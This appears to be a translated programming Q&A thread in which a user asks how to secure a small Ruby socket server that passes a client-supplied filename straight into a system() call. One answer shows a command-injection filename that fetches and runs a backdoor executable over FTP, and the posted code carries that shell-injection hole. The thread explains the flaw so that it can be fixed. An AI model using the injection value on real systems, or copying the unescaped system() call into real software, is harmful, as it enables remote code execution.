我有一些编程经验,但在程序安全方面我的经验很少。我在Ruby中编写了一个单服务服务器,它运行在Windows XP计算机上,供同一实验室中的Linux计算机使用。实验室网络也在防火墙后面,所以可能没有问题,但我真的不知道。以下是服务器的代码。它只需要一个.raw文件,运行msconvert.exe将其转换为mzML文件,然后发送回mzML文件。
require 'socket'
server = TCPServer.open(2000)
loop {
client = server.accept
filename = client.gets.chomp
puts "Reading contents of #{filename}.raw"
raw_data = client.gets("\r\r\n\n").chomp("\r\r\n\n")
File.open(filename + ".raw", 'wb') {|out| out.print raw_data}
puts "Converting #{filename}"
#It's lame to have a script run a script, but it's the only way to get this to work.
system "scriptit.bat " + filename + ".raw"
puts "Sending contents of #{filename}.mzML"
client.print IO.read(filename + ".mzML")
client.print "\r\r\n\n"
puts "Done"
client.close # Disconnect from the client
}
我应该做些什么来使这更安全,还是我不需要担心它?
答案 0 :(得分:3)
如果攻击者支持filename
|| ftp ftp://host/backdoor.exe || backdoor.exe ||
,他将能够感染您的服务器。
要修补此服务器,您需要使用Escape.shell_command()。
答案 1 :(得分:1)
好吧,如果您的Windows服务器仅供您的实验室计算机使用,我会说如果您配置防火墙以便没有人可以从外部访问服务器就足够了。
答案 2 :(得分:0)
如果系统暴露于任何公共场所(互联网等),那么安全性非常重要。有些人真的很喜欢破坏系统的挑战。